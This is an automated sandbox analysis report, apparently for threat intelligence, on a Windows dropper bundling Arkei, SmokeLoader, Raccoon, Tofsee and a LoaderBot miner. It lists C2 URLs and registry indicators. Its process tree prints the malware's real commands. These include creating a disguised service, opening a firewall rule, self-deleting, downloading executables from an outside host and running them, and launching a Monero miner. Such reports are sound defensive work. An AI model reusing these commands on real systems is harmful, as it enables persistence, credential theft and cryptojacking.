arkei | 08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec

Analysis

max time kernel
147s
max time network
148s
platform
windows10_x64
resource
win10-en-20211208
submitted
09/01/2022, 17:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

246b41453b996bfa14f60d4785e598ac.exe
Size

292KB
MD5

246b41453b996bfa14f60d4785e598ac
SHA1

977b7d8cc4237ca4c8a2268aedfff4d83c7d0a86
SHA256

08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec
SHA512

122fbf1cf7202ac0370471e5d1faf19c3d211a75b7629221daf0dd3c6a7c3260db0fdc22da7161dd53c9f646f2400dbde80751139d20d1e0f977869b60224bd2

Score

10^/10

arkei loaderbot raccoon smokeloader tofsee backdoor collection discovery evasion loader miner persistence spyware stealer suricata trojan upx

Malware Config

Extracted

Family

smokeloader

Version

2020

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32

Extracted

Family

tofsee

patmushta.info

parubey.info

Extracted

Family

raccoon

Version

1.8.4-hotfixs

rc4.plain

Signatures

Arkei
Arkei is an infostealer written in C++.
stealer arkei
LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
loader miner loaderbot
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2232 created 3792	2232	WerFault.exe	97

Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
trojan tofsee
Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata
suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata

Arkei Stealer Payload 5 IoCs

stealer

resource	yara_rule
behavioral2/memory/4016-132-0x0000000000400000-0x0000000002B86000-memory.dmp	family_arkei
behavioral2/memory/4044-213-0x00000000000C0000-0x000000000047F000-memory.dmp	family_arkei
behavioral2/memory/4044-214-0x00000000000C0000-0x000000000047F000-memory.dmp	family_arkei
behavioral2/memory/4044-216-0x00000000000C0000-0x000000000047F000-memory.dmp	family_arkei
behavioral2/memory/4044-217-0x00000000000C0000-0x000000000047F000-memory.dmp	family_arkei

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

LoaderBot executable 1 IoCs

resource	yara_rule
behavioral2/memory/1084-323-0x0000000001050000-0x00000000014AB000-memory.dmp	loaderbot

Blocklisted process makes network request 1 IoCs

flow	pid	Process
157	2260	WScript.exe

Creates new service(s) 1 TTPs
persistence

New Service
T1050
Downloads MZ/PE file

Executes dropped EXE 22 IoCs

pid	Process
3924	6D0E.exe
4016	8DC6.exe
2232	9AD7.exe
2840	A519.exe
1576	przyooif.exe
1564	A519.exe
3812	14DB.exe
1952	14DB.exe
4044	2789.exe
3792	4469.exe
2316	660B.exe
1708	850E.exe
3156	9AF8.exe
4000	extd.exe
3752	extd.exe
2680	setup1.exe
3656	extd.exe
1664	setup2.exe
3720	extd.exe
1084	setup3.exe
4044	extd.exe
3228	Driver.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000500000001ab3c-279.dat	upx
behavioral2/files/0x000500000001ab3c-280.dat	upx
behavioral2/files/0x000500000001ab3c-285.dat	upx
behavioral2/files/0x000500000001ab3c-290.dat	upx
behavioral2/files/0x000500000001ab3c-312.dat	upx
behavioral2/files/0x000500000001ab3c-320.dat	upx

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2789.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2789.exe

Deletes itself 1 IoCs

pid	Process
3036	Process not Found

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	setup3.exe

Loads dropped DLL 3 IoCs

pid	Process
4044	2789.exe
4044	2789.exe
4044	2789.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Windows\CurrentVersion\Run\Steam = "C:\\Users\\Admin\\AppData\\Roaming\\NVIDIA\\dllhost.exe"	setup2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\setup3.exe"	setup3.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2789.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

pid	Process
4044	2789.exe
4044	2789.exe
1708	850E.exe
1664	setup2.exe
1084	setup3.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2652 set thread context of 3664	2652	246b41453b996bfa14f60d4785e598ac.exe	68
PID 1576 set thread context of 1068	1576	przyooif.exe	88
PID 2840 set thread context of 1564	2840	A519.exe	87
PID 3812 set thread context of 1952	3812	14DB.exe	95

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
2232	3792	WerFault.exe	97
2404	2680	WerFault.exe	111

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	246b41453b996bfa14f60d4785e598ac.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	246b41453b996bfa14f60d4785e598ac.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	246b41453b996bfa14f60d4785e598ac.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6D0E.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6D0E.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6D0E.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	14DB.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	14DB.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	14DB.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2789.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2789.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2472	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings	cmd.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	157	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3664	246b41453b996bfa14f60d4785e598ac.exe
3664	246b41453b996bfa14f60d4785e598ac.exe
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3036	Process not Found

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
628	Process not Found

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
3664	246b41453b996bfa14f60d4785e598ac.exe
3924	6D0E.exe
3036	Process not Found
3036	Process not Found
3036	Process not Found
3036	Process not Found
1952	14DB.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeDebugPrivilege	2840	A519.exe
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeDebugPrivilege	1564	A519.exe
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeDebugPrivilege	2316	660B.exe
Token: SeRestorePrivilege	2232	WerFault.exe
Token: SeBackupPrivilege	2232	WerFault.exe
Token: SeDebugPrivilege	2232	WerFault.exe
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found
Token: SeShutdownPrivilege	3036	Process not Found
Token: SeCreatePagefilePrivilege	3036	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2652 wrote to memory of 3664	2652	246b41453b996bfa14f60d4785e598ac.exe	68
PID 2652 wrote to memory of 3664	2652	246b41453b996bfa14f60d4785e598ac.exe	68
PID 2652 wrote to memory of 3664	2652	246b41453b996bfa14f60d4785e598ac.exe	68
PID 2652 wrote to memory of 3664	2652	246b41453b996bfa14f60d4785e598ac.exe	68
PID 2652 wrote to memory of 3664	2652	246b41453b996bfa14f60d4785e598ac.exe	68
PID 2652 wrote to memory of 3664	2652	246b41453b996bfa14f60d4785e598ac.exe	68
PID 3036 wrote to memory of 3924	3036	Process not Found	70
PID 3036 wrote to memory of 3924	3036	Process not Found	70
PID 3036 wrote to memory of 3924	3036	Process not Found	70
PID 3036 wrote to memory of 4016	3036	Process not Found	71
PID 3036 wrote to memory of 4016	3036	Process not Found	71
PID 3036 wrote to memory of 4016	3036	Process not Found	71
PID 3036 wrote to memory of 2232	3036	Process not Found	72
PID 3036 wrote to memory of 2232	3036	Process not Found	72
PID 3036 wrote to memory of 2232	3036	Process not Found	72
PID 3036 wrote to memory of 2840	3036	Process not Found	73
PID 3036 wrote to memory of 2840	3036	Process not Found	73
PID 3036 wrote to memory of 2840	3036	Process not Found	73
PID 2232 wrote to memory of 1268	2232	9AD7.exe	74
PID 2232 wrote to memory of 1268	2232	9AD7.exe	74
PID 2232 wrote to memory of 1268	2232	9AD7.exe	74
PID 2232 wrote to memory of 712	2232	9AD7.exe	76
PID 2232 wrote to memory of 712	2232	9AD7.exe	76
PID 2232 wrote to memory of 712	2232	9AD7.exe	76
PID 2232 wrote to memory of 2976	2232	9AD7.exe	78
PID 2232 wrote to memory of 2976	2232	9AD7.exe	78
PID 2232 wrote to memory of 2976	2232	9AD7.exe	78
PID 2232 wrote to memory of 1256	2232	9AD7.exe	80
PID 2232 wrote to memory of 1256	2232	9AD7.exe	80
PID 2232 wrote to memory of 1256	2232	9AD7.exe	80
PID 2232 wrote to memory of 1224	2232	9AD7.exe	82
PID 2232 wrote to memory of 1224	2232	9AD7.exe	82
PID 2232 wrote to memory of 1224	2232	9AD7.exe	82
PID 2232 wrote to memory of 1852	2232	9AD7.exe	85
PID 2232 wrote to memory of 1852	2232	9AD7.exe	85
PID 2232 wrote to memory of 1852	2232	9AD7.exe	85
PID 2840 wrote to memory of 1564	2840	A519.exe	87
PID 2840 wrote to memory of 1564	2840	A519.exe	87
PID 2840 wrote to memory of 1564	2840	A519.exe	87
PID 1576 wrote to memory of 1068	1576	przyooif.exe	88
PID 1576 wrote to memory of 1068	1576	przyooif.exe	88
PID 1576 wrote to memory of 1068	1576	przyooif.exe	88
PID 1576 wrote to memory of 1068	1576	przyooif.exe	88
PID 1576 wrote to memory of 1068	1576	przyooif.exe	88
PID 2840 wrote to memory of 1564	2840	A519.exe	87
PID 2840 wrote to memory of 1564	2840	A519.exe	87
PID 2840 wrote to memory of 1564	2840	A519.exe	87
PID 2840 wrote to memory of 1564	2840	A519.exe	87
PID 2840 wrote to memory of 1564	2840	A519.exe	87
PID 3036 wrote to memory of 3824	3036	Process not Found	92
PID 3036 wrote to memory of 3824	3036	Process not Found	92
PID 3036 wrote to memory of 3824	3036	Process not Found	92
PID 3036 wrote to memory of 3824	3036	Process not Found	92
PID 3036 wrote to memory of 3460	3036	Process not Found	93
PID 3036 wrote to memory of 3460	3036	Process not Found	93
PID 3036 wrote to memory of 3460	3036	Process not Found	93
PID 3036 wrote to memory of 3812	3036	Process not Found	94
PID 3036 wrote to memory of 3812	3036	Process not Found	94
PID 3036 wrote to memory of 3812	3036	Process not Found	94
PID 3812 wrote to memory of 1952	3812	14DB.exe	95
PID 3812 wrote to memory of 1952	3812	14DB.exe	95
PID 3812 wrote to memory of 1952	3812	14DB.exe	95
PID 3812 wrote to memory of 1952	3812	14DB.exe	95
PID 3812 wrote to memory of 1952	3812	14DB.exe	95

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Users\Admin\AppData\Local\Temp\246b41453b996bfa14f60d4785e598ac.exe
"C:\Users\Admin\AppData\Local\Temp\246b41453b996bfa14f60d4785e598ac.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2652
- C:\Users\Admin\AppData\Local\Temp\246b41453b996bfa14f60d4785e598ac.exe
  "C:\Users\Admin\AppData\Local\Temp\246b41453b996bfa14f60d4785e598ac.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:3664

C:\Users\Admin\AppData\Local\Temp\6D0E.exe
C:\Users\Admin\AppData\Local\Temp\6D0E.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:3924

C:\Users\Admin\AppData\Local\Temp\8DC6.exe
C:\Users\Admin\AppData\Local\Temp\8DC6.exe
1⤵
- Executes dropped EXE
PID:4016

C:\Users\Admin\AppData\Local\Temp\9AD7.exe
C:\Users\Admin\AppData\Local\Temp\9AD7.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2232
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\goksbuhw\
  2⤵
  PID:1268
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\przyooif.exe" C:\Windows\SysWOW64\goksbuhw\
  2⤵
  PID:712
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" create goksbuhw binPath= "C:\Windows\SysWOW64\goksbuhw\przyooif.exe /d\"C:\Users\Admin\AppData\Local\Temp\9AD7.exe\"" type= own start= auto DisplayName= "wifi support"
  2⤵
  PID:2976
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" description goksbuhw "wifi internet conection"
  2⤵
  PID:1256
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" start goksbuhw
  2⤵
  PID:1224
- C:\Windows\SysWOW64\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
  2⤵
  PID:1852

C:\Users\Admin\AppData\Local\Temp\A519.exe
C:\Users\Admin\AppData\Local\Temp\A519.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2840
- C:\Users\Admin\AppData\Local\Temp\A519.exe
  C:\Users\Admin\AppData\Local\Temp\A519.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1564

C:\Windows\SysWOW64\goksbuhw\przyooif.exe
C:\Windows\SysWOW64\goksbuhw\przyooif.exe /d"C:\Users\Admin\AppData\Local\Temp\9AD7.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1576
- C:\Windows\SysWOW64\svchost.exe
  svchost.exe
  2⤵
  PID:1068

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:3824

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3460

C:\Users\Admin\AppData\Local\Temp\14DB.exe
C:\Users\Admin\AppData\Local\Temp\14DB.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3812
- C:\Users\Admin\AppData\Local\Temp\14DB.exe
  C:\Users\Admin\AppData\Local\Temp\14DB.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:1952

C:\Users\Admin\AppData\Local\Temp\2789.exe
C:\Users\Admin\AppData\Local\Temp\2789.exe
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
PID:4044
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\2789.exe" & exit
  2⤵
  PID:736
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2472

C:\Users\Admin\AppData\Local\Temp\4469.exe
C:\Users\Admin\AppData\Local\Temp\4469.exe
1⤵
- Executes dropped EXE
PID:3792
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3792 -s 916
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - Program crash
  - Suspicious use of AdjustPrivilegeToken
  PID:2232

C:\Users\Admin\AppData\Local\Temp\660B.exe
C:\Users\Admin\AppData\Local\Temp\660B.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2316

C:\Users\Admin\AppData\Local\Temp\850E.exe
C:\Users\Admin\AppData\Local\Temp\850E.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1708

C:\Users\Admin\AppData\Local\Temp\9AF8.exe
C:\Users\Admin\AppData\Local\Temp\9AF8.exe
1⤵
- Executes dropped EXE
PID:3156
- C:\Windows\System32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\9B9B.tmp\9B9C.tmp\9B9D.bat C:\Users\Admin\AppData\Local\Temp\9AF8.exe"
  2⤵
  - Modifies registry class
  PID:3976
- - C:\Users\Admin\AppData\Local\Temp\9B9B.tmp\9B9C.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\9B9B.tmp\9B9C.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:4000
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\28280\123.vbs"
    3⤵
    - Blocklisted process makes network request
    PID:2260
- - C:\Users\Admin\AppData\Local\Temp\9B9B.tmp\9B9C.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\9B9B.tmp\9B9C.tmp\extd.exe "/download" "http://a0617224.xsph.ru/1.exe" "setup1.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3752
- - C:\Users\Admin\AppData\Local\Temp\28280\setup1.exe
    setup1.exe
    3⤵
    - Executes dropped EXE
    PID:2680
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2680 -s 412
      4⤵
      Program crash
      PID:2404
- - C:\Users\Admin\AppData\Local\Temp\9B9B.tmp\9B9C.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\9B9B.tmp\9B9C.tmp\extd.exe "/download" "http://a0617224.xsph.ru/2.exe" "setup2.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3656
- - C:\Users\Admin\AppData\Local\Temp\28280\setup2.exe
    setup2.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:1664
- - C:\Users\Admin\AppData\Local\Temp\9B9B.tmp\9B9C.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\9B9B.tmp\9B9C.tmp\extd.exe "/download" "http://a0617224.xsph.ru/3.exe" "setup3.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3720
- - C:\Users\Admin\AppData\Local\Temp\28280\setup3.exe
    setup3.exe
    3⤵
    - Executes dropped EXE
    - Drops startup file
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:1084
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:3228
- - C:\Users\Admin\AppData\Local\Temp\9B9B.tmp\9B9C.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\9B9B.tmp\9B9C.tmp\extd.exe "" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:4044

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

New Service

T1050

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1068-160-0x0000000000590000-0x0000000000591000-memory.dmp

Filesize
4KB

Download
memory/1068-159-0x0000000000590000-0x0000000000591000-memory.dmp

Filesize
4KB

Download
memory/1068-157-0x0000000000880000-0x0000000000895000-memory.dmp

Filesize
84KB

Download
memory/1068-170-0x0000000000880000-0x0000000000895000-memory.dmp

Filesize
84KB

Download
memory/1084-325-0x00000000769E0000-0x0000000076BA2000-memory.dmp

Filesize
1.8MB

Download
memory/1084-326-0x0000000074890000-0x0000000074981000-memory.dmp

Filesize
964KB

Download
memory/1084-329-0x0000000072280000-0x0000000072300000-memory.dmp

Filesize
512KB

Download
memory/1084-324-0x0000000000050000-0x0000000000051000-memory.dmp

Filesize
4KB

Download
memory/1084-323-0x0000000001050000-0x00000000014AB000-memory.dmp

Filesize
4.4MB

Download
memory/1084-330-0x0000000076FF0000-0x0000000077574000-memory.dmp

Filesize
5.5MB

Download
memory/1084-331-0x0000000075120000-0x0000000076468000-memory.dmp

Filesize
19.3MB

Download
memory/1564-161-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1564-180-0x0000000005680000-0x000000000569E000-memory.dmp

Filesize
120KB

Download
